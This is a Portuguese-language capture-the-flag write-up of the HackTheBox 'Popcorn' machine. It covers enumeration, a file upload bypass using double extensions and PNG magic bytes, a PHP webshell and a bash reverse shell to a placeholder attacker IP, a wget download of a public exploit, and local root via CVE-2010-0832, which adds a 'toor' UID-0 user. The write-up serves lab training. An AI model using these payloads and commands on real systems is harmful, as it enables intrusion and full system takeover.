
Popcorn HTB write-up cobrindo fuzzing avançado de diretórios, bypass de upload de arquivos via números mágicos/falsificação de extensão usando Burp Suite, e escalonamento de privilégios via CVE-2010-0832 (PAM MOTD File Tampering).
Data: 05 de junho de 2026
Dificuldade: Fácil
Plataforma: HackTheBox
Técnicas Principais: Enumeração de Portas e Serviços, Fuzzing de Diretórios (Gobuster), Evasão de Upload de Arquivos, Manipulação de Requisições HTTP (Burp Suite), Execução Remota de Código (RCE), Estabilização Avançada de Shell TTY (Python), Exploração Local de Kernel/PAM (Adulteração de Arquivo MOTD).
Começamos realizando uma varredura rápida de portas TCP em todas as 65.535 portas (-p-) para localizar pontos de entrada abertos. Otimizamos a velocidade de execução usando --min-rate 5000 e pulamos a resolução de DNS e varreduras de ping para agilizar o processo em um ambiente de auditoria:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
A varredura inicial descobre de forma confiável duas portas abertas: porta 22 (SSH) e porta 80 (HTTP).
Em seguida, realizamos uma varredura direcionada e aprofundada nas portas identificadas para determinar versões precisas de serviços e executar os scripts padrão e básicos de vulnerabilidade do Nmap:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
A partir da saída, extraímos informações críticas sobre o ecossistema alvo:
OpenSSH 5.1 Debian 6ubuntu2 (Indica uma distribuição Ubuntu Linux significativamente legada).Apache httpd 2.2.12Antes de interagir com a aplicação web via navegador, adicionamos o endereço IP alvo ao arquivo /etc/hosts da nossa máquina atacante para limpar o mapeamento de domínio e garantir que os redirecionamentos internos sejam resolvidos corretamente:
<VICTIM_IP> popcorn.htb
Em seguida, executamos uma descoberta automatizada de diretórios ocultos usando gobuster junto com a wordlist clássica de tamanho médio do DirBuster:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
A fase de fuzzing descobre os seguintes caminhos acessíveis no servidor web da vítima:
/index (Página inicial padrão)./test (Painel de teste ou arquivo de informações de desenvolvimento)./torrent (Uma plataforma web totalmente funcional dedicada a hospedar e compartilhar arquivos torrent)./response (Página de resposta interna).Explorando o diretório /torrent revela um CMS de compartilhamento de torrents. Para interagir com os recursos de upload, nos registramos e fazemos login em uma conta válida criada na hora. Após publicar um arquivo .torrent legítimo, a plataforma habilita uma opção para editar os detalhes do torrent e enviar uma imagem de screenshot promocional. Este formulário específico se torna nosso vetor de ataque principal.
Para alcançar a Execução Remota de Código (RCE), passamos por uma série de fases de teste, analisando o comportamento do backend usando Burp Suite (Repeater) :
Interceptamos a requisição de upload da screenshot e modificamos o nome do arquivo para exploit.php. Tentamos inserir um webshell clássico de uma linha no corpo do arquivo:
<?php system($_GET['cmd']) ?>
Resultado: O servidor web retorna um erro de execução interno devido a um ponto e vírgula ; faltando no final da instrução PHP, interrompendo o fluxo de execução.
Corrigimos a sintaxe para <?php system($_GET['cmd']); ?>, mas como a requisição é enviada via POST (usando multipart/form-data), tentamos passar nosso comando diretamente dentro da URL do cabeçalho (POST /torrent/upload_file.php?cmd=whoami).
Resultado: O servidor web lança o seguinte erro:
Cannot execute a blank command
Análise: Durante o parsing do upload de arquivo, o backend ignora completamente as variáveis GET presentes na URL. O script upload_file.php escreve o arquivo no disco, mas imediatamente tenta executar a função interna. Como ele não recebe nada nas variáveis esperadas do corpo, $_GET['cmd'] é processado como vazio.
Para contornar os filtros básicos de verificação de extensão que verificam se o arquivo é uma imagem válida, renomeamos o arquivo para innocent.php.png e codificamos um payload de reverse shell para que não dependa de parâmetros externos:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Resultado: O servidor responde com um 200 OK bem-sucedido informando:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
Análise: Embora tenha conseguido contornar o filtro inicial, como o arquivo terminava estritamente com a extensão .png, o servidor Apache o tratou como uma imagem estática comum. Ao navegar para ele, o navegador simplesmente imprime os bytes brutos como texto simples; o Apache nunca passa o arquivo para o interpretador PHP, o que significa que nosso listener Netcat nunca captura uma conexão.
Sabendo que o servidor precisa interpretar a extensão .php para acionar a execução do código, invertemos a ordem da extensão (innocent.png.php), mantemos o cabeçalho Content-Type: image/png intacto e prefixamos a assinatura PNG ou Números Mágicos (PNG) no início do corpo do arquivo para falsificar as verificações de validação de conteúdo do backend:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
Resultado: O servidor web aceita o arquivo limpo, processa a extensão final e o salva dentro do diretório de upload com o nome innocent.php :
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
Como o script de upload apenas armazena o arquivo no disco sem executá-lo no contexto da requisição POST de upload, acionamos uma chamada independente para forçar o servidor a lê-lo:
nc -lvnp 4444
GET limpa no Burp):[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
O servidor Apache é forçado a processar o arquivo, detecta as tags PHP, executa o payload Bash, e a conexão é capturada perfeitamente no nosso listener, concedendo acesso inicial como o usuário www-data.
Tentar elevar privilégios imediatamente após receber a shell revela severas limitações de ambiente:
www-data@popcorn:/$ su root
su: must be run from a terminal
O comando su exige estritamente um terminal interativo real (TTY) para aceitar entrada de forma segura. Tentar forçar um via python3 indica que ele não está instalado nesta máquina legada (The program 'python3' is currently not installed).
Contornamos este obstáculo utilizando o binário Python clássico (Python 2) presente na máquina e reconfigurando os descritores de terminal da nossa máquina atacante:
# 1. Spawn an interactive shell using the absolute path of legacy Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. Suspend the shell process to the background
Ctrl + Z
# 3. On our attacker terminal, set the keyboard state to raw and foreground the Netcat listener
stty raw -echo; fg
# 4. Force a screen refresh and map terminal environment variables for history and autocomplete support
reset xterm
export TERM=xterm
export SHELL=bash
Inspecionamos a distribuição do SO e a versão do Kernel Linux em execução na máquina vítima:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
O sistema operacional aponta para uma versão antiga do Ubuntu (Karmic Koala), cujo Kernel e pacotes principais contêm várias falhas conhecidas de escalação de privilégio local.
Identificamos um vetor altamente viável envolvendo o parsing da mensagem do dia do PAM (Linux PAM 1.1.0 - Escalação de Privilégio por Adulteração de Arquivo MOTD, rastreado sob CVE-2010-0832). Esta vulnerabilidade permite que usuários locais manipulem arquivos de propriedade do root através do tratamento inseguro de symlinks durante ações de autenticação SSH local.
Utilizamos o script de exploit público 14339.sh para automatizar o caminho de ataque.
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp (que concede permissões globais de leitura/escrita/execução), baixe o script e torne-o executável:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
O script conclui a execução com sucesso, adulterando diretamente o banco de dados de usuários locais em /etc/passwd.
Devido ao funcionamento interno do exploit, ele não altera a senha da conta de usuário root original. Em vez disso, ele injeta um novo usuário clone com privilégios de root no final do arquivo /etc/passwd.
Confirmamos isso lendo a última linha do arquivo de usuários:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
Nota: A configuração 0:0 (UID/GID) concede a esta conta parâmetros de identidade idênticos ao administrador root.
Embora executar su root com a senha toor produza um erro Authentication failure porque a conta root original não foi alterada, nossa shell TTY Python estabilizada nos permite trocar de usuário suavemente ao segmentar a conta clone personalizada:
www-data@popcorn:/tmp$ su toor
Password: toor
Fornecemos a senha (toor), transformando instantaneamente nosso prompt de terminal no identificador de hash supremo (#):
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
A máquina alvo está totalmente comprometida. Agora temos acesso administrativo para coletar os hashes de flag necessários:
/home/george/user.txt/root/root.txt